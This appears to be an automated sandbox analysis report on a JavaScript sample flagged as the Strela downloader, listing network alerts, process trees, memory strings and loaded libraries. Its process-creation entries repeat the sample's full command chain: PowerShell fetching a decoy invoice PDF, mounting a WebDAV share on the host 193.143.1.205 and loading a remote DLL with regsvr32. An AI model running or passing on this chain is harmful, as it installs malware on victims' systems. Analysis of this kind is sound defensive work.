Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2047172044.000001A0FEC1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2111365466.0000027ED6C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2107409980.0000027ED6C87000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111365466.0000027ED6C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/C
Source: net.exe, 00000007.00000003.2107409980.0000027ED6C87000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111365466.0000027ED6C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/K
Source: net.exe, 00000007.00000003.2107409980.0000027ED6C93000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111365466.0000027ED6C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.2111323657.0000027ED6C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 00000009.00000002.3347743369.000001D8D7800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2108741050.000001D8D7750000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6552, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1584816627285206777.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6548:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rfqarrao.kad.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1584816627285206777.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,16955121455312485882,14025573363302125264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,16955121455312485882,14025573363302125264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
